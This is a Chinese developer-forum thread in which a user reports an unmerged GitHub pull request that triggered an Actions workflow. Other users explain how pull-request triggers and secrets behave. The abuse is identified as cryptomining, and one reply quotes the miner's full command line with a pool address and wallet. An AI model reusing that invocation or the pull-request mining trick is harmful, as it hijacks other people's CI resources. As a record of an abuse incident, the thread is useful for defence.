这两天发生的,之前申请了个 360 E5 的账号,用 github 的 workflow 跑 API 来续期,然后这两天发现有个家伙提了个 pr, 就是此人 https://github.com/laksjduetryuism,然后再 actions 里面看看到对方提的 pr 可以直接再工作流里面执行, https://imgur.com/xyv9435, pr 我还没有合并, https://imgur.com/bAV9nqm, 就直接生效了?如果这样可以执行不是就可以获取我再项目里面设置的 id 和 secret ... 害怕。。。
经过老哥的提醒,已确认是挖矿: https://zhuanlan.zhihu.com/p/363729726
1
just1 2021-04-12 10:37:28 +08:00
...你的 workflow 的触发条件有 pr,不这样才奇怪呢。执行归执行除非在执行中输出了 secret,不然别人又看不到
|
2
Drinker OP @just1 不知道是不是我理解错掉。如果 workflow 的触发条件有 pr,那执行的也是应该是我自己的 workflow,而不是 pr 里面的 workflow,他提过来的 pr 里面是一个 workflow 的 yml 定义文件,假设他再 yml 里面使用 curl 发送一个附带了 环境变量 ID_LIST 和 KEY_LIST 到他的服务器上,那不是就被盗了 id 和 secret ...
|
3
InternetExplorer 2021-04-12 10:54:10 +08:00
开源项目也没什么问题吧
|
4
2wex 2021-04-12 10:57:20 +08:00
PR 触发的 action 不能获取 secret
放心,只要你遵守 github actions 的规矩,它还是很安全的 |
5
coolcoffee 2021-04-12 11:08:16 +08:00
Pull Request Trigger 执行的你项目分支的,所以就算别人提交触发了你原有流程,也不会造成什么太大影响。secret 就算被误输出也会被打码掉。
|
6
baobao1270 2021-04-12 11:34:23 +08:00 via Android
好像听说最近有人拿 action 挖矿的,专门找小众 repo 提 pr
|
7
Drinker OP @InternetExplorer 已经续期了三次,项目没问题。
|
8
Drinker OP @2wex 如果提交的分支里面使用 curl 发送一个附带了 环境变量 ID 和 KEY 的请求到自己的服务器上不知道会不会被盗掉,等有时间我试试。
|
9
Drinker OP @coolcoffee 如果分支里面使用 curl 发送请求,参数是环境变量里面的 secret,不知道会不会被发出去...
|
10
Drinker OP @baobao1270 有可能,我看 yml 里面下了一个脚本,但是是再 win 上跑的,在我这没跑起来。
|
11
learningman 2021-04-12 12:09:24 +08:00 via Android
@Drinker 你没看懂人家在说什么吗。。。环境变量里根本就不会有 secret
|
12
dingwen07 2021-04-12 12:11:32 +08:00 via iPhone
触发器不包括 pr 应该就可以吧
顺便这个用户感觉很可疑,可能是滥用用户,准备报告一下 楼主的自动跑 API 的 yaml 能否分享一下 |
13
coolcoffee 2021-04-12 12:21:10 +08:00
@Drinker 只要你别把代码合并到你的 GitHub 仓库里面,它做仓库代码上的 action 就不可能在你的仓库上执行。
PR trigger 很常见的,像开源项目提交前会做好多规则检查。全部绿色通过以后才可以继续合并。 |
14
otakustay 2021-04-12 12:24:33 +08:00
workflow 触发条件是 PR 就是用来验证 PR 是否合格能否合并的,只触发你自己 PR 还有啥用
|
15
Drinker OP |
16
Drinker OP @learningman 我可能没搞清楚,因为看到这个
``` env: ID_LIST: ${{ secrets.ID_LIST }} # secrets_id 提供 KEY_LIST: ${{ secrets.KEY_LIST }} # secrets_key 提供 ID_LIST2: ${{ secrets.ID_LIST2 }} # secrets_id 提供 KEY_LIST2: ${{ secrets.KEY_LIST2 }} # secrets_key 提供 run: | echo $ID_LIST > idlist.txt echo $KEY_LIST > keylist.txt ``` 所以很奇怪。 |
17
Drinker OP @coolcoffee 我没有合并 pr,但是的确在我的 aciton 里面有执行的情况,只不过 window 的 yml 无法执行,所以没有成功。
相同的受害者 https://github.com/hjdd777/AutoApiS/actions 。这个人和我一样,也被提交了 pr |
18
Drinker OP @otakustay 那是不是说有可能出现上面我说的那种情况,能获取得到我设置的 id 和 secret 。上面有个老哥说不行,我也不清楚。因为触发 api 的 yml 文件里面是获取了 id 和 secret 才触发的 api 。
|
19
hzcer 2021-04-12 13:30:58 +08:00 via iPhone
可以看看 repo 设置中 Actions - Actions permissions
|
20
Trim21 2021-04-12 13:35:06 +08:00 via Android
…他读不到你的 secrets
|
21
mangoDB 2021-04-12 13:38:21 +08:00
|
22
laoyur 2021-04-12 13:42:49 +08:00
哈哈,挖矿挖到楼主头上了,笑出声
|
25
Drinker OP @mangoDB 就是这个....
npm.exe --algorithm argon2id_chukwa2 --pool turtlecoin.herominers.com:10380 --wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP --password xo yml 文件里面就是下载 npm.exe 和 nani.bat 。 |
27
patrickyoung 2021-04-12 16:29:08 +08:00 via iPhone
这个 bug 已经有人在 src 交了,现在是有设置的,自己去设置里设只允许本地就行
|
28
Drinker OP @patrickyoung 谢谢,已经给官方处理了。
|
29
raaaaaar 2021-04-13 07:40:03 +08:00 via Android
自由就是被这群人加了限制。。
|